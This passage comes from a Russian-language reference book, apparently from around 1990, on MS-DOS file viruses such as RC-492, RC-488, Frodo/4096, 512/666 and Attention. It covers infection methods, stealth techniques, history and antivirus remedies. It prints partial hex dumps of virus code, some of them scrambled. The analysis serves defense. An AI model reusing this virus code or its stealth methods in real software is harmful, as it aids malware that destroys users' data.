границу параграфа для COM-файлов не выполняется. Инфицируются COM-файлы длиной свыше 1277 (6Fh) байтов. Заражение EXE-файлов выполняется путем дописывания тела вируса в конец файла без предварительного выравнивания тела на границу параграфа. При выполнении зараженной программы вирус проверяет наличие своей копии в памяти и, если не находит, то становится резидентным (используя манипуляции с MCB). Через некоторое время после того, как вирус стал резидентным, в динамике начинает раздаваться довольно неприятный высокочастотный свист частотой около 12 Кгц. В целом вирус производит впечатление не до конца отлаженного. В частности, при попытке заражения защищенной от записи дискеты выдается стандартное сообщение "Abort, Retry Є" Это связано с ошибкой в обработчике прерывания 24h. По мнению Д.Н.Лозинского, заметен плагиат из RCE-1800, причем без достаточного понимания функций копируемых фрагментов. Исторические замечания. Первое зарубежное описание данного вируса приведено в списке П.Хоффман. По-видимому, RCE-1277 имеет болгарское происхождение и написан сравнительно недавно (ноябрь/декабрь 1989 г.?). В Киеве первым вирус обнаружил А.Л.Шеховцов (июнь 1990). Несколько позднее он был независимо выявлен в Москве. Неформальные названия. Помимо приведенного в заголовке, неизвестны. Программные средства защиты. Детектирование возможно по приводимым в прил.1 сигнатурам. Из программ, распространяемых бесплатно, в качестве фага можно применять -V Е.Касперского или NEAFAG В.Пономаренко. Фрагмент дампа дрозофилы, зараженной вирусом RCE-1277 000: E9FD079090909090 9090909090909090 ................ 010: 9090909090909090 9090909090909090 ................ *** последующие строки идентичны предыдущей *** 7F0: 090909090909090 9090909090909090 ................ +--- псевдоначало инсталлятора (первый переход) +-----+ 800:|E97E039090909090 9090909090909090 .~.............. 810: 9090909090909090 9090900000000060 ...............` 820: 00F1042100000004 00050EC32B5605E3 ...!........+V.. 830: 287A0F70007A0F70 002048656C6C6F2C (z.p.z.p. Hello, 840: 2049276D204D7572 7068792E204E6963 I'm Murphy. Nic 850: 6520746F206D6565 7420796F75206672 e to meet you fr 860: 69656E642E204927 6D20777269747465 iend. I'm writte 870: 6E2073696E636520 4E6F762F4465632E n since Nov/Dec. 880: 20436F7079777269 7465202863293139 Copywrite (c)19 890: 3839206279204C75 626F20262049616E 89 by Lubo & Ian 8A0: 2C20536F6669612C 2055534D204C6162 , Sofia, USM Lab 8B0: 6F7261746F72792E 20E88F023D594B75 oratory. ...=YKu 8C0: 09558BEC836606FE 5DCF80FC4B74123D .U...f..]...Kt.= 8D0: 003D740D3D006C75 0580FB007403E9A5 .=t.=.lu....t... 8E0: 00061E5756555251 5350E8C9013D006C ...WVURQSP...=.l 8F0: 75028BD6B980008B F2468A040AC0E0F9 u........F...... 900: 83EE02813C4F4D74 12813C58457403EB ....<OMt..<XEt.. 910: 6990817CFE2E4574 09EBF4817CFE2E43 i..|..Et....|..C 920: 75EDB8023DE88701 72508BD8B80057E8 u...=...rP....W. 930: 7D012E890E21012E 89162301B8004233 }....!....#...B3 940: C933D2E869010E1F BA03018BF2B91800 .3..i........... 950: B43FE85A01720E81 3C4D5A7505E82B00 .?.Z.r..<MZu..+. ... .. .. .. .. .. .. .. .. .. .. .. .. B80: B90: BA0: BB0: BC0: BD0: ... CB0: CC0: CD0: CE0: CF0: +------- J-сигнатура ----------+ | | C31EE80000B8594B CD217203E928015E| 568BFE33C0501FC4 064C002E8984ACFC 2E8C84AEFCC41E84 002E899DA4FC2E8C 85A6FCA102013D00 F07569B280A10601 3D00F0741C80FCC8 725A80FCF47355A8 7F75518ED8813E00 0055AA75478A1602 .. .. .. .. .. .. .. .. 8600FBFE0E7B045E 2E81BC7EFC4D5A75 1D1F2E8B849AFC2E 8B9C98FC0E592BC8 03CB512EFFB496FC 1E07E895FECB582E 8B847EFC2EA30001 2E8B8480FC2EA302 01B80001500E1F1E 07E876FEC3 ......YK.!r..(.^ V..3.P...L...... ................ ......=..ui..... =..t....rZ...sU. .uQ...>..U.uG... .. .. .. .. .....{.^...~.MZu .............Y+. ..Q...........X. ..~............. ....P.....v.. 5.6. Группа "второй половины таблицы прерываний" Данная группа включает два вируса, которые при заражении оперативной памяти размещают свое тело во второй половине таблицы прерываний. Очевидно, что такое размещение накладывает жесткие огра- ничения на размер вируса и выполняемые функции. Из-за ограничения длины возможно заражение только одного типа файлов (обычно типа СОМ) с записью вируса в хвост файла. 5.6.1. Вирус RC-492 (sI) Неформальное название sI связано с тем, что со смещением 3 от начала зараженной программы стоят байты "sI", служащие для опознания вирусом зараженных им программ. Формально, данный вирус является резидентным файловым вирусом, заражающим COM-файлы при запуске их на выполнение. Код вируса содержит много ошибок и неточностей. Длина вируса 492 байта (1ECh). Вирус работоспособен только на компьютерах серии AT. Это связано с наличием команд, отсутствующих в микропроцессоре 8088/8086. Проверка версии MS DOS в теле вируса отсутствует. Зависимости работоспособности вируса от версии MS DOS не обнаружено. Стратегия заражения -- при запуске файлов на выполнение. Файлы заражаются однократно. При заражении выполняется выравнивание на границу параграфа. Максимальная длина заражаемого файла не проверяется, поэтому вирус уничтожает файлы, длина которых после заражения превысит 64К. Как уже указывалось, в качестве признака зараженности файла, вирус использует приведенную выше строку "sI". При запуске зараженной программы вирус ищет в главном каталоге диска С файл с именем COMMAND.COM и, если он будет найден, пытается его заразить. При заражении RС-492 дописывается в конец программы и одновременно вставляет в первые три байта COM-файла команду перехода на тело вируса. При этом размер файла увеличивается на 492 + байты выравнивания (в качестве байтов выравнивания вирус вставляет нули). Из-за ошибки в теле вируса файлы с длиной, кратной 16, заражаются с вставкой 16 нулей "для выравнивания". Дата создания файла изменяется на дату заражения до тех пор, пока количество запусков с момента заражения не станет равным 256. Длина исходной программы вирусом не сохраняется. Атрибуты файла не проверяются, поэтому вирус не заражает файлы с атрибутами READ-ONLY. Вирус RC-492 не проверяет, находится заражаемая программа (которая загружается на выполнение) на защищенной дискете или нет, и пытается выполнить запись на защищенную от записи дискету. При этом операционная система выдает сообщение: Write protect error writing device <лог.имя.устр.> Abort, Retry, Ignore, Fail? Вирус использует "гибридную" стратегию заражения, в которой сочетаются методы, характерные для нерезидентного вируса с методами, характерными для резидентного вируса. Как уже отмечалось, получив управление, вирус сначала пытается заразить файл COMMAND.COM в корневом каталоге -- стратегия, характерная в основном для нерезидентных вирусов. Вместе с тем, став резидентным, вирус перехватывает прерывание 1С и 21 и заражает программы, запускаемые на выполнение. Отличительной особенностью данного вируса является то, что в оперативной памяти его тело располагается в области второй половины векторов прерываний (0000:200h -- 0000:03FFh). Это может приводить к зависанию компьютера при инсталляции вируса, если к этому моменту одна из резидентных программ использует какой-нибудь из затираемых векторов прерываний. При запуске зараженной программы RС-492 сначала проверяет с помощью прерывания 21-35, имеется ли уже резидентная копия данного вируса (по значению адреса обработчика прерывания 1С). Если условие зараженности оперативной памяти выполнено, то вирус передает управление зараженной программе, в противном случае он приступает к поиску и заражению COMMAND.COM в главном каталоге диска С. Затем вирус становится резидентным и перехватывает прерывания 1Ch и 21h. В результате при запуске любой программы вирус получает управление, проверяет, является ли запускаемая программа зараженной, и если нет, то заражает данную программу на диске. У зараженного файла изменены значения первых 6 байтов (организуется переход на начало тела и признак зараженности файла). Фаза проявления данного вируса в настоящее время еще не ясна. Есть основания считать, что прерывание 1Ch используется вирусом для выбора момента уничтожения информации в выбираемых случайным образом последовательных секторах диска С (похоже, записывается четное число секторов -- 2,4,6). В указанные сектора записывается информация из оперативной памяти компьютера. По мнению Д.Н.Лозинского, есть надежда, что данный фрагмент содержит ошибку и такой момент никогда не наступает. Код вируса RC-492 не содержит приемов, затрудняющих дизассемблирование и анализ программы. Исторические замечания. Данный вирус появился в СССР в июле 1990 г. Впервые был выделен автором в ВЦ АН СССР (Moсква) 19 июля 1990 г. и, независимо, Д.Н.Лозинским. B Киеве не отмечался. Первыми фагами для данного вируса были -V (Е. Касперского) и NEATFAG (В. Пономарентко). Неформальные названия. sI (строка "sI" расположена со смещением 3 от начала зараженной программы) Программные средства защиты. Доступные версии полидетектора SCAN (до 66, включительно) данный вирус не обнаруживают. Фаги см. прил.1. При использовании системы управления доступом к винчестеру (Disk Manager, Advanced Disk Manager и т.д.) вирус не в состоянии попасть в разделы винчестера, для которых установлен статус READ ONLY. Однако при этом становится невозможным вызов программ с защищенной дискеты или раздела винчестера. Специальные средства защиты от данного вируса принципиально могут включать детектор, фаг для резидентной части, резидентный и пакетный фаги для зараженных файлов и активную (резидентную) вакцину. Фрагмент дампа программы DUMY16.COM, зараженной вирусом RC-492 000: 010: 020: 030: 040: 050: 060: 070: 080: 090: 0A0: 0B0: 0C0: 0D0: 0E0: 0F0: 100: ... 1E0: 1F0: 200: E91D007349FF9090 0000000000000000 2E8B1E010183C303 8ED82EA1B001A38C B90600F3A4B81C35 0E0E1F07680001C3 BF00018BF7F3A406 B81C25BA4502CD21 028C069002BA9202 9090909090433A5C 434F4D00B43DB002 91008BD8B43FB906 813E720173497455 B80242B90000BA00 C90F83E902890E25 02B440CD217248B4 21CC3CB80042B900 .. .. .. .. 040083EF018BF7BF 03EB0B90E2F41F5A 075D5F5E595B582E 90909090909090C3 0000000000000000 B104D3EB8CD803C3 02BE6F01BF0001FC CD2181FB45027508 B810008EC0B90002 1EBA7501E835001F B82135CD21891E8E B82125CD21EBC190 434F4D4D414E442E CD215B1F537303E9 00BA6F01CD21727F 813E6F014D5A746F 00CD2172628BC883 0283C1032BC8BA2A 40B9EC01BA0001CD 00BA0000CD21722F .. .. .. .. 8301ACE86CFFAE74 521E0EE8A6FE1F5A FF2E8E02 ...sI........... ................ ................ ..........o..... .......5.!..E.u. ....h........... ..........u..5.. ..%.E..!.!5.!... .........!%.!... .....C:\COMMAND. COM..=...![.Ss.. .....?....o..!r. .>r.sItU.>o.MZto ..B.......!rb... .......%....+..* ..@.!rH.@....... !.<..B.......!r/ .. .. .. .. ............l..t .......ZR......Z .]_^Y[X..... 5.6.2. Вирус RC-488 (Flu-2 -- Грипп-2, LoveChild -- Внебрачный ребенок) Неформальное название данного вируса связано с тем, что в теле вируса имеются текстовые строки "v2 (c) Flu Systems (R)" и "LoveChild in reward for software sealing". Формально RC-488 является файловым резидентным вирусом, заражающим COM-файлы. Длина вируса 488 (1E8h) байтов совпадает с приращением при заражении. Файлы заражаются однократно. Командный процессор заражается как обычный COM-файл. При заражении COM-файлов вирус дописывает себя в конец, изменяя первые четыре байта. Файлы заражаются при их загрузке в память, при открытии и создании (21-3C, 21-3D, 21-4B и 21-5B). При заражении длина файлов не проверяется. При инсталляции записывает свое тело во вторую половину таблицы векторов прерываний, начиная с адреса 0000:01E0h. Проверяет версию операционной cистемы. Для версии 3.3 умеет определять "истинные" адреса 21 и 13 прерываний. Для получения управления по 21 прерыванию использует сплайсинг. Обработка 13 прерывания сводится к замене адреса его обработчика на первоначальное значение, что "отрубает" сторожа, следящие за этим прерыванием, как, впрочем, и драйверы типа 800, обеспечивающие нестандартные форматы записи на дискеты. Фаза проявления наступает при определенных значениях счетчика времени. При этом вирус либо уничтожает файлы, либо создает вместо файла подкаталог с таким же именем. Кроме того, вирус может модифицировать COM-файлы таким образом, что их запуск вызовет стирание секторов винчестера (стирается вся информация, расположенная на всех секторах, соответствующих 0-3 головкам записи/чтения). Исторические замечания. Судя по текстовым строкам, RC-488 имеет зарубежное происхождение, однако в доступной автору версии списка П.Хоффман, датированном 10.10.90, описание этого вируса отсутствует. В СССР появился примерно в августе 1990 г. Автору был передан Е.Касперским. B Киеве не отмечался. Неформальные названия. Помимо приведенных выше, неизвестны. Программные средства защиты. Полифаг Aidstest, начиная с версии 45. Детектирование возможно по сигнатурам, приведенным в прил.1. Фрагмент дампа дрозофилы, зараженной вирусом RC-488 000: 010: *** 0E0: 0F0: 100: 110: 120: 130: 140: 150: 160: 170: 180: 190: 1A0: 1B0: 1C0: 1D0: 1E0: ... 2B0: 2C0: FBE9F200B402B207 CD21CD2000000000 .........!. .... 0000000000000000 0000000000000000 ................ далее следуют строки, идентичные предыдущей *** 7632202863292046 6C75205379737465 v2 (c) Flu Syste 6D732028522933C0 8EC0E800005E8BEE ms (R)3......^.. BFE001FC26813D76 32744881EE1D00B9 ....&.=v2tH..... E801F3A4B430CD21 3D031E7527BE7000 .....0.!=..u'.p. 8EDEBEB400BF4C00 A5A5B80312CD2F26 ......L......./& 8C1EC803BE6014C6 04EA8C4403C74401 .....`.....D..D. CD02EB0F061FBE84 00A5A58C44FEC744 ............D..D FCCD028CC88EC08E D8BF00018BF581C6 ................ 6E00A5A533C083EF 04FFE790909090FB n...3........... E90000B003CFB901 00BA80038BD9B810 ................ 03CD13FECE79F7B6 03FEC5EBF14C6F76 .....y.......Lov 654368696C642069 6E20726577617264 eChild in reward 20666F7220736F66 7477617265207365 for software se 616C696E672E2EF6 066C0407750A1F5A aling....l..u..Z 595B58B441E9FD00 E9EE0088132EFF0E Y[X.A........... CB027803E9EE002E FF06CB0280FC4075 ..x...........@u 24578BFA813D4D5A 751A2EF6066C0406 $W...=MZu....l.. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. B440CD215BB43ECD 212EC706CB02FFFF .@.![.>.!....... 1F5A595B58EA6714 0000 .ZY[X.g... 5.7. Группа стелс-вирусов "ВВС США впервые использовали в боевых условиях свой секретный истребительбомбардировщик F-117A "Стелс". Новый самолет, "невидимый" для радаров, участвовал в бомбардировке в Панаме перед высадкой там в среду американских войск." ТАСС, 24 декабря 1989 г. Как и другие продукты человеческой деятельности, компьютерные вирусы претерпевают определенную эволюцию, которая в значительной степени облегчается тем, что в течении значительного отрезка времени среда их размножения (MS DOS) остается практически неизменной. Если попытаться квантовать наблюдаемые непрерывные эволюционные изменения, то можно говорить о поколениях компьютерных вирусов. Понятие поколения компьютерного вируса связано, в основном, с механизмом размножения и методами маскировки. Наблюдаемый cейчас в ряде публикаций акцент на проявлениях того или иного вируса является неверным: по сути вирус можно разделить на две достаточно независимые части: компоненту размножения и компоненту проявления. При этом именно характеристики компоненты размножения являются основными и определяют место конкретного вируса "в эволюционной цепочке". В то же время популярная пресса акцентирует внимание на компоненте проявления, что видно хотя бы из распространенности неформальных названий типа Тринадцатая пятница, День Колумба, Воскресенье, Пинг-Понг и т.д. Если провести аналогию с авиацией, то компонента размножения соответствует самому летательному аппарату, а компонента проявления -- полезной нагрузке. Очевидно, что один и тот же самолет может доставлять и бомбы и листовки. Компонента размножения должна обеспечить две основные функции: получить управление с тем, чтобы обеспечить репликацию вируса; избежать обнаружения, чтобы выжить и выполнить предыдущий пункт. Важность этих двух функций изменяется в ходе эволюции. На первом этапе эволюции вирусов основной является репликация. При этом вопросам маскировки либо вообще не уделялось внимание, либо они носили несистематический характер и были направлены на маскировку одного или двух изменений, возникающих в зараженной программе или системе. Этому этапу эволюции соответствует первое поколение вирусов -- вирусы, не рассчитанные на преодоление антивирусных средств. С распространением антивирусных средств вопросы маскировки стали основными, и вирусу для того, чтобы выжить, важно как можно дольше остаться незамеченным. В связи с этим основные усилия при разработке стали направляться именно на маскировку. В результате маскировка приобрела комплексный характер и соответствующие вирусы можно условно относить к новому поколению вирусов, получившему название стелс-вирусов. Действия по маскировке можно условно классифицировать на следующие категории: a (automodification) -- автомодификация инсталлятора с целью затруднить обнаружение детекторами, основанными на контекстном поиске; с (cipher) -- шифровка части программы, исключая часть инсталлятора; d (antiDebugging tricks) -- защита от трассировки; e (enter point) -- сохранение точки входа в EXE-программах; f (fag) -- самоизлечивается при попытке просмотра зараженной программы при резидентном вирусе; h (hook) -- не обнаруживается сторожами типа FluShot+, контролирующими состояние векторов прерывания; i (increment) -- имплантация тела в программу без увеличения размеров файла; j (jump) -- cохранение первого перехода в COM-файлах; l (length) -- маскировка увеличения длины зараженных файлов, путем подмены значения соответст- вующего поля элемента оглавления при операциях FindFirst и FindNext (21-11h и 21-12h) с предварительным вычитанием длины вируса (при этом утилиты, которые не используют указанные функции DOS, работая с каталогами непосредственно (например Norton Commander), будут показывать увеличенную длину, а команда DIR -уменьшенную); m (memory map) -- не обнаруживается системными средствами просмотра списка резидентных программ; о (overlay) -- сегментация тела вируса на несколько подгружаемых частей; р (polyinfection) -- заражение как файлов, так и исполняемых системных блоков (бутсектор, MBR); r (redirection) -- перехват и модификация дисковых операций с целью скрыть изменения в исполняемых блоках (бутсектор, MBR); s (space) -- корректировка резидентным вирусом общего объема свободной памяти на диске с целью скрыть его изменение в результате заражения вирусом программ; t (text) -- шифровка текстовых сообщений. Здесь приведены только приемы, которые уже были использованы в том или ином существующем вирусе, однако могут существовать и другие эффективные приемы маскировки. Конечно, граница между указанными двумя поколениями условна и некоторые исследователи относят к стелс-вирусам любой вирус, который использует хотя бы два из приведенных выше методов маскировки. Автору кажется, что критерий должен быть несколько жестче. Ниже приведены описания двух вирусов, которые, по мнению автора, можно отнести к новому поколению. 5.7.1. RCE-04096 (Frodo -- Фродо, 4096) Данный вирус принято считать первым стелс-вирусом. RCE-04096 был разработан, по-видимому, в Израиле в конце 1989 г. Название "Фродо" связано с тем, что вирус содержит бутсектор в своем коде, хотя он никогда не записывает свое тело в бутсектор. При записи этого бутсектора в бутсектор дискеты и попытке загрузки выдается "плакатный текст" FRODO LIVES ("Фродо живет" или "Фродо жив"), выполненный буквами 8*5, состоящими из символов псевдографики. По данным П.Хоффман, 22 сентября это день рождения героев известной сказочной трилогии Дж.Р.Толкиена Властелин колец" (Lord Of The Rings) -- Бильбо и Фродо Баггинов (Bilbo and Frodo Baggin) [Толкиен83]. Формально данный вирус относится к файловым резидентным вирусам. Заражает как COM-, так и EXE-файлы (включая оверлеи) при запуске на выполнение или закрытии файла (функции 21-4B или 21-3E). Файлы заражаются однократно. В качестве признака заражения используется значение поля года даты создания файла. Для зараженных файлов вирус изменяет поле года создания файла, увеличивая его на сто, например с 1990 до 2090. В дальнейшем это значение используется для определения зараженности файла. Возможно заражение файлов, содержащих данные. Приращение длины при заражении всегда равно 4096 байт, что объясняет такие неформальные названия, как 4096 и 4K. Заражает COM-файлы длиной до 61440 (F000h) байт. При заражении изменяет первые шесть байт файла. Выполняется выравнивание до параграфа. При этом приращение длины файла равно ровно 4096 байт. Командный процессор заражается как обычный COM-файл. Заражаемые EXE-файлы могут иметь любую длину. При заражении изменяется заголовок. Тело вируса дописывается в хвост файла. Длина зараженного EXE-файла увеличивается ровно на 4096 байт. При инсталляции находит по COMSPEC и заражает COMMAND.COM. Затем загружает себя в старшие адреса памяти, уменьшая размер на 6К. При этом, возможно, каким-то образом маскирует уменьшение системной памяти на 6К. Для определения положения обработчиков 13 и 21 прерываний вирус проходит при инсталляции соответствующую часть кода с флагом трассировки (как музыкальные самоеды). Для получения управления по 21 прерыванию вирус использует сплайсинг ("врезку" в обработчик прерывания). Это первый вирус, использующий сплайсинг для получения управления по прерыванию 21. Тело вируса располагается в оперативной памяти в старших адресах. Память резервируется путем манипуляций с MCB. В дальнейшем положение тела может измениться: вирус способен перемещать свое тело в область младших адресов. RCE-04096 обрабатывает порядка 20 (двадцати !) функций MS DOS (Create, FindFirst, FindNext, Read, Write, Lseek, Open, Close, Exec и некоторые другие). При наличии вируса в оперативной памяти приращение длины зараженных файлов маскируется и не видно при просмотре оглавления командой DIR. Этот эффект обеспечен за счет перехвата операций, используемых командой DIR для считывания элементов каталога и вычитания 4К из длины зараженных файлов. Первым такой метод маскировки был использован в вирусе RCE-02000. Более того RCE-04096 маскирует и изменение заголовка. Любая попытка доступа к зараженному файлу, за исключением выполнения на зараженной машине ведет к "выкусыванию" тела вируса из зараженного файла. Например, при чтении зараженного файла или загрузке его в память, вирус "подставляет" файл в незараженном виде. При открытии файла для записи вирус "выкусывает" свое тело из зараженного файла (поскольку запись в файл может повредить тело вируса или "загнать" его в середину файла), а затем снова заражает при закрытии. Описанный механизм обеспечивает обход детектирования заражения с помощью ревизоров. Таким образом, данный вирус является первым вирусом, обходящим данный класс антивирусных программ. Если при копировании выполняемого файла создается файл с расширением, не используемым для исполняемых файлов (COM, EXE, BIN, SYS и т.д.), то вирус "выкусывает" свое тело при копировании. При кодировании вируса использованы достаточно сложные приемы, затрудняющие трассировку. Из-за ошибки при кодировании вирус повреждает некоторые файлы при заражении: после заражения не обновляет информацию в заголовке файла. При запуске таких файлов MS DOS выдает диагностическое сообщение "ERROR in EXE File". Такие повреждения можно устранить запустив CHKDSK/F, а затем соответствующий фаг. Как уже отмечалось, вирус иногда заражает файлы данных. Они могут быть восстановлены с помощью соответствующего фага. Фаза проявления в имеющихся экземплярах вируса стерта в связи с недостаточным размером памяти, отведенным под стек. Учитывая наличие в теле вируса загрузчика, выдающего сообщение "Фродо жив", логично предположить, что она связана с записью в бутсектор этого загрузчика. В результате первая же перезагрузка приведет к выдаче на экран приведенного выше сообщения. Однако реально после 22 сентября 1990 запуск любой зараженной программы вызывает зависание операционной системы (вирус зацикливается), создавая впечатление машинной неисправности. По данным П.Хоффман вирус также медленно "сращивает" файлы на диске. Для этой цели вирус манипулирует FAT, изменяя количество свободных секторов. Пользователь, использующий команду CHKDSK/F, обнаруживает, что файлы имеют потерянные кластеры или кластеры, принадлежащие двум файлам одновременно. Это проявление выглядит как машинная неисправность. Все авторы публикаций, включающих описание данного вируса, сходятся в том, что вирус написан техно-крысой, хорошо знающей "внутренности" операционной системы и алгоритмы работы антивирусных программ. Странно, что программист такого уровня не нашел ничего лучшего для приложения собственных способностей, как написание вируса. Исторические замечания. Вирус RCE-4096 был обнаружен в Израиле в октябре 1989 г. В СССР обнаружен Д.Н.Лозинским в августе 1990 г. Существует штамм 4096-B, аналогичный описанному, но использующий шифровку своего тела. Неформальные названия. Среди неформальных названий следует отметить следующие: 4096, 4K, 100 Years virus ( 100 лет), Century virus (столетие), Hiding (Прячущийся), IDF Virus (ИДФ-вирус), Stealth Virus (Стелс вирус). Методы и программные средства защиты. Данный вирус диагностируется полидетектором SCAN. Для визуального обнаружения можно использовать год создания файла (у зараженных файлов увеличен на 100). Для этой цели можно просмотреть оглавление с помощью Turbo C++ (единственная известная автору оболочка, показывающая год создания файла полностью) или дамп кластеров с каталогами с помощью Norton Utilities (в DIR и в Norton Commander видны только две последние цифры года). Рекомендуемые фаги приведены в прил.1. При отсутствии фага для "выкусывания" можно использовать упоминавшийся эффект, связанный с тем, что при копировании выполняемого файла в файл с расширением, отличным от исполняемых (COM, EXE, BIN, SYS и т.д.) резидентный вирус выполняет "выкусывание" своего тела из файла. Для этой цели при резидентном вирусе можно свернуть зараженные файлы в архив, а затем после перезагрузки с защищенной дискеты, содержащей эталонную операционную систему, скопировать их обратно. Другим вариантом является копирование с переименованием расширения, например EXE в TTT, а COM в YYY. Неясно, является ли увеличение года достаточным признаком зараженности файла, или вирус проверяет еще какие-то поля. Если этот признак достаточен, то возможна пассивная вакцинация файлов путем увеличения значения года создания на 100, как это делалось с секундами создания файла при вакцинации от вируса C-648. Кроме того, возможно создание резидентной вакцины, обеспечивающей увеличение значения поля года при считывании элемента каталога. 5.7.2. Вирус RC-0-512 (512, 666) Данный вирус имеет размер, совпадающий с типичным размером сектора в MS DOS и использует специальный метод размножения, напоминающий метод размножения бутовых вирусов. Вирус содержит текстовую строку 666 в конце тела, поэтому его иногда называют 666. В коде вируса используется ряд недокументированных функций MS DOS. Формально RC-0-512 представляет первый сегментированный резидентный файловый вирус. В нем используется несовершенство распределения дисковой памяти в MS DOS: размер кластера обычно превышает размер сектора как минимум в два раза и поэтому можно использовать незаполненные "хвосты" в последнем секторе для хранения части тела вируса (модификация первых команд остается обязательной, иначе вирус не сможет получить управления). Фактически эту схему можно рассматривать как попытку перенесения схемы бутового вируса на файловый вирус. Как известно, бутовый вирус, в отличие от файлового, сегментирован и состоит из головы и хвоста. Голова находится в бутсекторе, а хвост храниться где-то в другом месте и его загрузка выполняется головой. Аналогично вирус RC-0-512 рассматривает первый сектор COM-файла как бутсектор и заменяет его своим телом, а хвост, представляющий собой оригинальный первый сектор зараженной программы, прячет в неиспользуемый сектор последнего кластера. Очевидно, что вирус может заражать на дискете только те файлы, у которых второй сектор последнего кластера полностью свободен. На винчестере возможно заражение большинства COM-файлов, так как размер кластера значительно больше и один свободный сектор имеется практически всегда. При заражении RC-0-512 записывает себя в первый сектор заражаемого COM-файла, предварительно переписав "оригинальный" первый сектор в один из незаполненных секторов последнего кластера, занимаемого файлов, если таковой имеется. Отсюда следует, что зараженные файлы, скопированные с помощью команды COPY MS DOS (а она копирует файл побайтово в соответствии с указанной в элементе каталога длиной), будут неработоспособны, а находящийся в них вирус -- работоспособным. Подобно специфическому механизму заражения, вирус использует не- обычный механизм инсталляции в оперативной памяти: для хранения собственного тела вирус "откусывает" первый буфер буферного пула MS DOS, переставляя указатель на первый буфер так, чтобы он указывал на второй буфер. Таким образом, определить его наличие в памяти без полного сканирования оперативной памяти можно только, если знаешь где искать. Этот факт свидетельствует о том, что оптимизация просмотра оперативной памяти в контекстных детекторах и полифагах является неверным шагом и может ухудшить качество детектирования. Как и в других вирусах группы DARK AVENGER, заражение происходит как при открытии, так и при выполнении файла. Заражаются файлы, первые две буквы расширения которых "CO". При копировании заражаются как копия, так и оригинал. Вирус заражает COMMAND.COM. Поскольку при перезагрузке системы командный процессор загружается в память до появления в ней резидентного вируса, то вирус инсталлируется, а затем подгружает недостающую часть командного процессора из свободного сектора последнего кластера. Исторические замечания. Вирус RC-0-512, по-видимому, разработан в Болгарии техно-крысой, называющей себя Dark Avenger. Он был обнаружен студентом-программистом Василем Никодимовым в ноябре 1989 г. в Институте математики (София). Сведения о нем опубликованы в статье В.Бончева в номере 1-2 за 1990 журнала "Компютър за вас". В СССР обнаружен практически одновременно в Москве и Киеве в начале сентября 1990 г. Методы и программные средства защиты. Данный вирус диагностируется полидетектором SCAN и любым контекстным детектором, содержащим соответствующую сигнатуру. Возможность создания резидентной вакцины неясна. Рекомендуемые полифаги приведены в прил.1. В связи с используемым механизмом заражения, при его создании возникает проблема с определением, хранится ли в соответствующем секторе последнего кластера оригинальная голова COM-файла (первые 512 байтов программы) или файл был скопирован и там теперь просто мусор. В последнем случае восстановление приведет к записи мусора на место тела вируса. Неясно также, что произойдет при оптимизации диска, содержащего зараженные файлы, с помощью утилиты NCC, СОМPRESS и т.д. 5.8. Вирус RC-394 (Attention -- Внимание) Неформальное название данного вируса связано с тем, что в начале любой зараженной данным вирусом программы после 3-байтовой команды перехода на тело вируса расположена 12-байтовая текстовая строка "Attention !". После этой строки стоит байт 1Ah. Формально RC-394 является файловым резидентным вирусом заражающим COM-файлы при запуске их на выполнение (прерывание 21-4B). Длина вируса (394 байта) совпадает с приращением зараженных файлов. Это один из самых маленьких резидентных вирусов, из располагающих свое тело в старших адресах оперативной памяти. Вирус заражает COM-файлы длиной от 786 (312h) до 64921 (FD99h) байт. При заражении тело вируса дописывается в конец файла и изменяет первые 16 байт, как было указано выше. Если заражаемый файл был защищен атрибутом READ-ONLY, то перед заражением вирус снимает этот атрибут и не восстанавливает его после заражения. При инсталляции записывает свое тело в старшие адреса оперативной памяти. Перехватывает прерывания 21 и 24. Последнее прерывание перехватывается не совсем корректно, что может приводить к зависанию системы. Характерным проявлением вируса является включение мотора дисковода А, при попытке заражения файлов на защищенной дискете, вставленной в дисковод B. Исторические замечания. Вирус, по-видимому, разработан на Западе. В СССР обнаружен Д.Н.Лозинским в августе 1990 г. Методы и программные средства приведены в прил.1. Детектирование прил.1 сигнатурам. Фрагмент дампа 0000: 0000: *** 1000: 1010: 1020: 1030: 1040: ... 10F0: 1100: 1110: 1120: 1130: 1140: 1150: 1160: 1170: 1180: защиты. Рекомендуемые фаги возможно по приведенным в дрозофилы, зараженной вирусом RC-394 E90E10415454454E 54494F4E2020211A ...ATTENTION !. 9090909090909090 9090909090909090 ................ последующие строки идентичны предыдущей *** 00CD209090909090 9090909090909090 .. ............. 90E8F9002000C514 C01D9C50535152BB .... ......PSQR. 030031C9E2FEB00C BAF203EE31C9E2FE ..1.........1... BAF203B01CEE4B75 E95A595B589DB003 ......Ku.ZY[X... CF5053515257561E 0680FC4B740D071F .PSQRWV....Kt... .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. 58050D00A3010052 31C931D2B80042CD X......R1.1...B. 2159B440CD21B43E CD21E941FFFA5A81 !Y.@.!.>.!.A..Z. EA1300BB7901A102 005031C9518ED99D ....y....P1.Q... 39061504750253CB 581E0E1F1EC7C11A 9...u.S.X....... 0029C8A30200508C C929C8498ED9A303 .)....P..).I.... 00581F8EC08BF231 FFC7C18901F3A4BE .X.....1........ 00018BF9B91000F3 A41F0653BB84008B ...........S.... 07C707400026A315 008B47028C470226 ...@.&....G..G.& A317008C0615040E 07CBB910008BF2BF ................ 0001061F1E57F3A4 FBCB .....W.... 6. ФАЙЛОВЫЕ ВИРУСЫ, ИЗВЕСТНЫЕ ТОЛЬКО ПО ЛИТЕРАТУРЕ 6.1. Общие замечания Многие из упоминаемых в зарубежной литературе файловых вирусов пока в СССР выделены не были. В прил.3 приводятся собранные автором сведения о таких вирусах, а последующих подразделах сведения о наиболее важных их этих вирусов, опубликованные в литературе. Большинство из этих вирусов диагностируется полидетектором SCAN. К сожалению, в условиях характерной для СССР информационной изоляции доступа к оперативной информации по вирусам, распространяющейся по таким сетям как BITNET, автор не имеет, поэтому приводимые сведения неполны, а в ряде случаев и неточны. Наиболее полной на сегодняшний день информацией, доступной автору, является созданный Патрицией М. Хоффман (Patricia M.Hoffman) файл VIRUS INFORMATION SUMMARY (версия от 10.08.90). Этот файл опубликован в СП 2-8. Другими источниками является документация к полидетекторам SCAN СП 2-7 и TNTVIRUS СП 2-8. Следует отметить, что качество подготовки документации к программе SCAN, как, впрочем и самой программы, вряд ли может быть оценено выше, чем удовлетворительное: в ней приводятся ряд неверных сведений об известных автору вирусах. Документация к TNTVIRUS более подробна, однако сравнение со списком П.Хоффман свидетельствует о наличии определенной связи между этими двумя документами, хотя ссылка на П.Хоффман в документации отсутствует. 6.2. Новые стелс-вирусы Последнее время наблюдается появление новых вирусов, при 